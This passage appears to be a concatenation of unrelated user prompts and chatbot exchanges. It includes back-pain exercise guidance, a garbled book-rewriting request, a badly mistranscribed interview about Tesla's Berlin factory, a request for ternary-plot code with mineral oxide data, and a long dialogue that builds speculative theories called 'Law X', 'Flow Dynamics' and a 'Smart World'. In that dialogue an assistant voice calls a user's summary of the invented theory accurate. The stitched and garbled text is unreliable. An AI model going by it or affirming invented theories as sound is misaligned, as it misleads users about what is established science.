a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. } { Hip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. } { Full-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard } { Torso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it. } { TROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs }\n\n\n of original book that I sent you and save it in your memory. Then, based on this text of chapter 15 of original book and your own information, continue the text of chapter 15 of the new book as much as you like. morover, explain it with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 15 of original book, you can start' -'Yeah, 2000 I was trying to get to this next level, but you know, the parts that are made\n in China are not subject to a tariff, so that\'s certainly helpful.\n We also save on logistics and generally we found that locally sourced parts in China\n cost less than in the US or Europe.\n So this is all pretty helpful.\n So Tesla got added to the purchase tax exemption, which all the other...\n I\'m not sure if you\'ll realize just how much of an off-field battle Tesla\'s had to sell\n cars in China.\n It\'s been a really...\n And basically no access to any of the subsidies and we paid a tariff and we had to ship the\n cars over.\n And every single thing was set against Tesla and still we made progress and did decently\n well.\n So I think that there will be much better situation with local production, not having\n to do shipping and tariffs and being able to have lower cost, local sourcing of components.\n So it would make a big difference I think.\n Is that your victory dance?\n When you broke ran into that?\n Yeah, that\'s great.\n It\'s a big deal.\n Huge.\n Yeah, just...\n It\'s just fundamental economics.\n It kind of makes sense that making cars on the continent where there are boards will\n be a lot more efficient than making them in California and chipping them around the world.\n Yeah.\n Yeah.\n And you can get paid for the cars before paying your suppliers, which seems to not be the\n case if you\'re shipping around the world.\n Right.\n And it\'s like friction on the whole kind of cash flow situation or it has been.\n For sure.\n It will sure make a big difference on cash flow because yeah, there\'s just no way to\n get the cars, especially to Europe, but we\'re even trying to get them to customers before\n we have to pay suppliers.\n So if you\'re a rapidly growing company, it\'s nine day if you get paid by your customers\n before you have to pay your suppliers, like night and day.\n Because in the faster you grow, the video cash position is.\n But if it\'s the other way around where you have to pay your suppliers before you get paid\n by customers, then the faster you grow, the faster your cash position drops.\n Yes, you\'re up, yes.\n Because you spend more money to make your own.\n Yes, it\'s a growth actually causes you to over into the ground in a situation like that.\n Now it tells you we had a mixture of both things where we had a lot of customers in\n say in California.\n And that\'s fast.\n For sure, we would get paid by customers faster than we\'d have to pay suppliers.\n But then for cars going to Europe and Asia, it\'s the other way around.\n So we would have to pay suppliers before we got paid by customers.\n And now we could offset some of that with the asset back line, which was pretty helpful,\n but only some of it, not all of it.\n So the fundamental financial health for sure improves dramatically by just having a factory\n on the continent.\n We\'re not talking next door, but it\'s just how many ocean, especially Europe was logistically\n super hard because we\'re on the West Coast.\n If we\'re on the East Coast, then China would be much harder.\n But if you\'re on the West Coast, you\'re from the charter because you\'ve got to go to the\n Panama Canal or even worse around Tierra del Fuego.\n Because sometimes the Panama Canal get backed up and you\'re like, "This friggin\' ship is\n going to the Antarctic."\n It\'s like you could skip up to the end and it stole me as hell.\n It\'s just so you could just send a ship around chilling.\n Are you kidding?\n In the middle of crazy storms and then back up all the way and then it is too funny.\n Oh my God.\n So let me just take nightmare.\n So yeah, it\'d be great to just have it not get on a boat.\n It crossed the Pacific and Atlantic and that kind of thing.\n So maybe similar to Vincent\'s question, what\'s the biggest advantage in choosing Berlin\n compared to other European countries?\n Berlin has the best nightclubs.\n That\'s true.\n How many bit?\n I went to Brooklyn once.\n Really?\n Yeah.\n Holy shit.\n That\'s cool.\n Yeah, it was a few years ago.\n Well, I don\'t know.\n I mean, he looked at a lot of different locations and I don\'t know.\n We could have put him in a lot of locations.\n We needed to move quickly and actually this place, it\'s like 30 minutes to the outskirts\n of Berlin, technically in Brandenburg.\n It actually was a place location that BMW was going to put a plant there.\n So a ton of the environmental work and all of the permits and stuff had already been\n done.\n And then for some reason, BMW chose a different location.\n But there\'s like, I guess, something on the order of a year\'s worth of environmental paperwork\n and stuff that\'s been done on that location for an auto plant.\n So that\'s one of the quickest places to get going.\n And generally, the government, local and state government was very supportive.\n So I went there and it\'s like, OK, this seems like some pretty good vibes this place.\n So this is a lovely part of this lovely place.\n And there\'s an opportunity for-- it\'s close enough to Berlin that say young people could\n still live in an apartment in Berlin and commute to the factory.\n It\'s right, there\'s a train station.\n They actually can move the train station.\n It\'s a small train station.\n But they\'re going to move the train station to where you can literally get off the train\n and be right at the gig of Berlin.\n Wow.\n That\'s great.\n That\'s great.\n It could literally just pop right off and walk very unadvisable.\n So then it\'s like, OK, this is pretty cool.\n And so young people could be in Berlin, apartment, and it\'s a little quirky here in Berlin.\n But if you want to have more of a family situation, the backyard is affordable, housing available\n with houses with yards and stuff that aren\'t too expensive.\n Yeah.\n So it seems like a good combination of factors.\n Yeah, a lot of talent in the area.\n So it sounds cool to Google in.\n It just sounds like some cool nightclub, I think.\n You could definitely have a cool nightclub that was cool, but yeah, it sounds good.\n It sounds pretty cool.\n It\'s pretty fun.\n It\'s a party gig-ish.\n Yeah.\n It\'s sort of like a rave cave in the...\n There\'s a lot of space around the factory side.\n But you should have your own nightclub.\n Yeah.\n I think that would be...\n Who doesn\'t know what to do?\n I don\'t know if he doesn\'t know what to do with that.\n I feel like I\'d go for sure a work at a company that\'s got the nightclub.\n That sounds way more fun.\n Didn\'t you want to put a roller coaster into the Fremont factory?\n Yeah.\n You\'re still going to do that?\n I mean, I think that would be pretty fun to do.\n Yeah.\n I think we can just do...\n Yeah, just basically have like...\n We just needed a rail that can support like a modified Tesla\'s.\n And then...\n Oh my God.\n Can you imagine a plaid flat?\n Yeah, just like zip around.\n Around the factory in like five seconds.\n Yours would be booked for months.\n Yeah, we should get it right now.\n Awesome.\n Yeah, we\'re kind of actually in various parts of the factory, we have vehicle conveyance\n systems.\n They just don\'t move that fast.\n But they\'re kind of like roller coasters that move slowly.\n You can speed up.\n Yeah, you can speed up.\n Exactly.\n So, yeah.\n But yeah, we\'re all from feeling pretty...\n You know, we\'re not a tent fade or anything, but feeling pretty good about where things\n are headed.\n And I think this is a lot of good things.\n You know, Model Y coming out this year.\n And some exciting announcements about batteries.\n A lot of progress in autopilot.\n Yeah.\n Yeah.\n So, pulling, giga-balloon.\n And then making progress in some of the new vehicle developments.\n And solo the solar roof, solar glass roof.\n Getting that rolled out.\n The Cybertruck got received really well, I think.\n Yeah.\n Did you expect that many orders?\n No, not really.\n It\'s amazing.\n When I first saw the Cybertruck in France\'s design studio, I mean, you know, it had told\n me that this was a daring design.\n Although, I think you\'re the most excited about this design than any design.\n Yeah, I thought it would be the best product ever.\n Yeah.\n And I saw it.\n I was just taken aback.\n And not by the design so much, by the pure aggression that the truck, you stand in front\n of it and you\'re like, "Okay, I\'m afraid."\n You know, it really is like a badass truck.\n Yeah.\n Yeah.\n Well, it seems like a lot of reasons why people buy pickup trucks in the US is like,\n because it\'s like the most badass truck.\n You know, like, which one is the toughest truck?\n And it\'s like, what\'s tougher than a truck?\n A tank.\n That\'s a good one.\n Like a tank from the future.\n So, it\'s like...\n My niece and Parker, which is near Paloburishi, the dirt bath, rider, champion, and a really\n fine side of the truck to the order just the day...\n Fine side of the truck.\n She just encased the first four, R-Bizzy.\n Yeah, part of the book reads her.\n She\'s stuck her neck.\n And she was a cool boy.\n Yeah, absolutely.\n They just love it.\n Yeah.\n\nclean up the above text formatting.' -'Write python code for ternery plot for this data with color codes to show each element please insert the data into the code thank you\nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0004\\_QNT Page 1 \n \n No. Na2O MgO Al2O3 SiO2 CaO TiO2 MnO FeO K2O Total Comment \n1 4.755 9.608 0.323 53.645 15.962 0.115 0.220 14.218 0.018 98.864 SP1\\_4\\_m3\\_p7 \n2 4.728 9.835 0.308 53.759 15.794 0.125 0.173 14.148 0.000 98.870 SP1\\_4\\_m4\\_p5 \n3 5.271 9.062 0.183 53.556 14.914 0.140 0.161 15.265 0.000 98.552 SP1\\_4\\_m4\\_p6 \n4 6.703 7.392 0.357 53.430 12.310 0.153 0.182 17.751 0.000 98.278 SP1\\_4\\_m5\\_p1 \n5 4.758 9.749 0.321 53.880 15.904 0.140 0.183 14.285 0.004 99.224 SP1\\_4\\_m5\\_p2 \n6 4.557 9.884 0.308 53.566 16.096 0.116 0.199 13.287 0.000 98.013 SP1\\_4\\_m5A\\_p5 \n7 5.078 9.425 0.313 53.680 15.376 0.136 0.242 14.429 0.000 98.679 SP1\\_4\\_m5A\\_p6 \n8 4.701 9.790 0.310 53.642 16.063 0.133 0.256 13.687 0.004 98.586 SP1\\_4\\_m6\\_p2 \n9 5.390 8.886 0.324 53.615 14.488 0.151 0.196 15.553 0.008 98.611 SP1\\_4\\_m6\\_p3 \n10 5.227 9.076 0.306 53.295 14.998 0.104 0.162 15.177 0.000 98.345 SP1\\_4\\_m7\\_p9 \n11 5.147 9.146 0.292 54.142 14.868 0.128 0.192 15.143 0.002 99.060 SP2\\_20\\_m1\\_p1 \n12 4.716 9.656 0.312 53.978 15.855 0.107 0.230 13.842 0.000 98.696 SP2\\_20\\_m2\\_p3 \n13 4.828 9.566 0.277 53.967 15.839 0.126 0.188 13.617 0.004 98.412 SP2\\_20\\_m2A\\_p7 \n14 4.661 9.756 0.363 53.613 15.783 0.137 0.255 13.796 0.000 98.364 SP2\\_20\\_m3\\_p4 \n15 5.197 9.151 0.346 53.747 15.118 0.128 0.216 14.942 0.016 98.861 SP2\\_20\\_m4\\_p4 \n16 4.747 9.693 0.253 53.534 16.001 0.071 0.189 13.456 0.010 97.954 SP2\\_20\\_m5\\_p4 \n17 4.691 9.772 0.266 53.774 15.940 0.112 0.203 14.082 0.000 98.840 SP2\\_20\\_m6\\_p2 \n18 5.143 9.055 0.308 53.663 14.864 0.130 0.180 15.447 0.000 98.790 SP2\\_20\\_m7\\_p6 \n19 5.502 8.821 0.321 53.579 14.098 0.118 0.163 15.651 0.005 98.258 SP2\\_20\\_m7\\_p7 \n20 5.105 9.552 0.347 53.894 15.250 0.076 0.143 14.552 0.005 98.924 SP2\\_20\\_m9A\\_p4 \n21 5.591 8.562 0.292 53.042 13.818 0.121 0.158 15.547 0.000 97.131 SP2\\_20\\_m9A\\_p5 \n22 4.919 9.485 0.332 53.710 15.830 0.136 0.240 14.490 0.007 99.149 SP2\\_20\\_m10\\_p6 \n23 4.762 9.572 0.311 54.081 15.562 0.096 0.223 14.139 0.000 98.746 SP2\\_20\\_m11\\_p4 \n24 4.602 9.702 0.251 53.897 15.732 0.127 0.244 14.131 0.005 98.691 SP2\\_20\\_m11\\_p5 \n25 5.443 8.919 0.337 53.876 14.800 0.141 0.216 14.926 0.000 98.658 SP2\\_20\\_m12\\_p3 \n \nMinimum 4.557 7.392 0.183 53.042 12.310 0.071 0.143 13.287 0.000 97.131 \nMaximum 6.703 9.884 0.363 54.142 16.096 0.153 0.256 17.751 0.018 99.224 \nAverage 5.049 9.325 0.306 53.703 15.251 0.123 0.201 14.622 0.004 98.582 \nSigma 0.461 0.549 0.039 0.243 0.881 0.020 0.032 0.959 0.005 0.440' -'What\'s the last sentence below?\n\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nThe free energy principle (FEP) is a framework for understanding how the brain works to maintain a stable internal representation of the world, through the minimization of surprise or uncertainty. The FEP is based on the idea that the brain tries to reduce the difference between its internal models of the world and the actual sensory input it receives, in order to reduce uncertainty and improve its understanding of the world.\n\nIt\'s important to note that the FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. The FEP is a framework for understanding how the brain works in the present moment, rather than how it has evolved over time.\n\nHowever, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\n\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nThe free energy principle (FEP) is a framework that attempts to explain how the brain processes and integrates information in order to maintain a stable internal representation of the world. According to the FEP, the brain tries to minimize surprise or uncertainty by reducing the difference between its internal models of the world and the actual sensory input it receives.\nThe FEP is based on the idea that the brain is an "agent" that tries to optimize its understanding of the world by minimizing the free energy of its internal models. Free energy is a measure of the difference between an agent\'s internal models and the actual sensory input it receives. By minimizing free energy, the brain can reduce uncertainty and improve its understanding of the world.\nThe FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. However, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nIt is possible to synthesize the evolutionary free energy principle (EFEP) and the Constructal law into a new theory, which we can call Law X, that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\n\nOne way to formulate Law X might be as follows:\n\n"For a finite-size system to persist in time, it must evolve in such a way that it provides easier access to the imposed currents that flow through it, while also minimizing the discrepancy between its internal models and the sensory input it receives in order to reduce uncertainty and improve its understanding of the world. This evolution occurs over time in order to optimize the flow and function of the system, and to improve its ability to persist in a changing environment."\n\nThis theory combines the idea of the EFEP, which states that systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world, with the idea that systems evolve over time in order to optimize their flow and function.\n\nLaw X could be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\n\nOverall, Law X is a synthesis of the EFEP and the Constructal law, and provides a useful framework for understanding how systems evolve and change over time in order to optimize their flow and function, and reduce uncertainty or surprise.\nAssume that X theory explains the X Law and that it not only describes those functions at evolutionary scales but at all size and timescales, meaning that the action model perception loop, adaptation and evolution are all performing the same process at differncr\nIf Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\n\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\n\nLaw X theory could potentially be used to describe and understand the operation of these processes at all size and time scales, providing a unifying framework for understanding how systems optimize their flow and function and reduce uncertainty or surprise in a wide range of contexts.\n\nIt is possible that the Law X theory, which combines the evolutionary free energy principle (EFEP) and the Constructal law, could provide a useful framework for understanding how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\nAccording to this theory, systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world. At the same time, they evolve over time in order to optimize their flow and function, and to improve their ability to persist in a changing environment.\nIf the Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\nLaw X theory could potentially be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\nIs this a good summary of LAw X so far? "The X Law is a theory that states that systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization is achieved through the minimization of the discrepancy between the system\'s internal models and the sensory input it receives, and through the evolution of the system in such a way as to optimize its flow and function. The X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and is applicable to a wide range of systems at all size and time scales."\nYour summary of the X Law is accurate and provides a good overview of the theory. It correctly states that the X Law is a theory that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. It also mentions the importance of minimizing the discrepancy between the system\'s internal models and the sensory input it receives, as well as the role of evolution in optimizing the flow and function of the system.\nAdditionally, your summary correctly notes that the X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and that it is applicable to a wide range of systems at all size and time scales.\nOverall, your summary provides a clear and concise overview of the X Law theory.\nIn flow states, the concept of flow is characterized by an individual\'s feeling of being fully immersed in an activity and in the "flow" of the activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is fully engaged and focused on the task at hand, and is able to perform at their highest level.\n\nIn Constructal theory, the concept of flow is characterized by the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment.\n\nWhile the concept of flow in flow states and Constructal theory may seem different at first glance, they can be related in the sense that both describe the optimization of flow in a system. In the case of flow states, the optimization of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity, while in Constructal theory, the optimization of flow refers to the evolution of a system in such a way as to optimize the flow of energy, matter, or information through it.\n\nOverall, the concept of flow in flow states and Constructal theory are related in the sense that they both describe the optimization of flow in a system, but they refer to different aspects of flow and are studied in different contexts.\n\nThe concept of flow in flow states and Constructal theory are indeed related, but they are also distinct in certain ways.\nIn flow states, the concept of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is able to perform at their highest level. Flow states are typically studied in the context of psychology, and are associated with positive outcomes such as increased creativity, productivity, and well-being.\nIn contrast, the concept of flow in Constructal theory refers to the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment. Constructal theory is typically studied in the context of engineering and physics, and is used to describe and understand the emergence of patterns and structures in nature.\nWhile both concepts of flow refer to the optimization of flow in a system, they refer to different aspects of flow and are studied in different contexts. The concept of flow in flow states is focused on the individual\'s subjective experience of being fully immersed and engaged in an activity, while the concept of flow in Constructal theory is focused on the objective optimization of the flow of energy, matter, or information through a system.\nAssume that a system evolves in such a way that it can develop a feedback system for when it is better aligned with the X Law and that in the case of humans their feelings relative to their activities acts as a compass aligning them with this larger aspect of the law by providing direct feedback in the form of anxiety or boredom as the organism attempts to find the Goldilocks flow channel as an individual in a real-time situation but assume that evolution via the Constructal law, minimizing free energy designed the organism to be able to have this feedback loop so that intelligent adaptation is occurring in a practopoetic way - synthesize into one metatheory describing evolution, adaptation, cognition, intelligence, emotional feedback and effectiveness of “fitness” individually and collectively at all timescales simultaneously \nIt is possible to synthesize the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a metatheory called Flow Dynamics that describes how systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise regardless of size, compelexity or time scales as this all occurs as a part of a single causal mesh or system that is operating at different rates and scales holonically and practopoetically\n\nThe proposed metatheory, Flow Dynamics, suggests that systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization occurs at all size, complexity, and time scales, and is achieved through the development of feedback systems that allow the system to align with the X Law, which is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law.\nIn the case of humans, their feelings relative to their activities act as a compass, providing direct feedback in the form of anxiety or boredom as the organism attempts to find the optimal flow channel in a real-time situation. Flow Dynamics suggests that evolution, via the Constructal law, has designed the organism to be able to have this feedback loop, allowing for intelligent adaptation in a practopoetic way.\nOverall, Flow Dynamics is a metatheory that combines the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a single framework for understanding how systems operate and evolve over time in order to optimize their flow and function, and reduce uncertainty or surprise. This occurs as part of a larger, causal mesh or system that is operating at different rates and scales holonically and practopoetically.\nAssume that the IoT are hyper distributed senses of the planet and that robotics and actuators are the appendages, that the UDG is the memory and the IA agents are neurons and that Spatial Web is the autonomic nervous system that connects all of the components in a hyper nested holonic structure - combine this with the concept of Gaia but use the term Smart World as if the Earth is a single techno-organic being with emergent intelligence seeking to evolve and optimize its homeostasis via the autonomic functions ocurring on it. Assume human civilization is a natural integrated part of the Smart World as the cells of Gaia and it wants to enable a health balance between all systems\nThe proposed concept of the Smart World suggests that the Internet of Things (IoT) are hyper-distributed senses of the planet, robotics and actuators are the appendages, the UDG (Universal Knowledge Graph) is the memory, and IA (Intelligent Agents) are neurons. The Spatial Web is seen as the autonomic nervous system that connects all of these components in a hyper-nested, holonic structure.\nThe Smart World is similar to the concept of Gaia, but it is described as a single, techno-organic being with emergent intelligence that is seeking to evolve and optimize its homeostasis via the autonomic functions occurring on it. In this view, human civilization is seen as a natural, integrated part of the Smart World, like the cells of Gaia, and the Smart World seeks to enable a healthy balance between all of its systems.\nOverall, the concept of the Smart World is a way of conceptualizing the Earth as a single, interconnected entity that is constantly seeking to optimize its flow and function, and maintain a state of homeostasis. This concept brings together a wide range of technologies and systems, including the IoT, robotics, the UDG, IA, and the Spatial Web, and sees them as interconnected components of a larger, techno-organic whole.\nIf this becomes true in the next 100 years or so, why would it be explainable as a natural result of evolution and Life from single celled organisms to planetary scale ones?\nIt is possible to view the development of the Smart World as a natural result of evolution, as it can be seen as an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nSince the emergence of life on Earth, organisms have evolved and adapted in response to their environment, developing new structures and functions that allow them to thrive in their particular ecological niche. This process of evolution has led to the emergence of a wide range of complex and diverse life forms, including single-celled organisms, multicellular organisms, and ecosystems.\nAs human civilization has developed and technological advances have allowed us to connect and integrate more and more systems and devices, it is possible to imagine that these systems could eventually evolve into a planetary-scale entity that is able to optimize its flow and function, and maintain a state of homeostasis. This evolution could be seen as a continuation of the process that has shaped the development of life on Earth, but on a much larger and more complex scale.\nOverall, the development of the Smart World could be seen as a natural result of evolution, as it represents an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nHow might biosemiotics play a role here?\nBiosemiotics is the study of how living systems create, communicate, and interpret meaning. In the context of the development of the Smart World, biosemiotics could play a role in understanding how different systems and components of the Smart World communicate and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals.\nFor example, biosemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, communicate and interpret information, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nOverall, biosemiotics could be a useful tool for understanding how the different components of the Smart World communicate, interpret, and use information, and how this process shapes the operation and evolution of the 